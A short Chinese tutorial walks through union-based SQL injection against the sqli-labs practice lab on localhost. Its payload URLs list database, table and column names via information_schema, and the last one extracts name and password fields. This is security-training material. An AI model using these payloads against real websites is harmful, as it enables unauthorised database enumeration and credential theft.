SQL注入之高权限注入

1.注入流程与上节实例相同

查询所有数据库名称

image.png

http://localhost/sqli-labs-master/Less-2/?id=-2 union select 1,group_concat(schema_name),3 from information_schema.schemata

查询数据库对应的表名

image.png

http://localhost/sqli-labs-master/Less-2/?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

查询表名对应的字段名

image.png

http://localhost/sqli-labs-master/Less-2/?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

查询数据

image.png

http://localhost/sqli-labs-master/Less-2/?id=-2 union select 1,name,pass from test.t1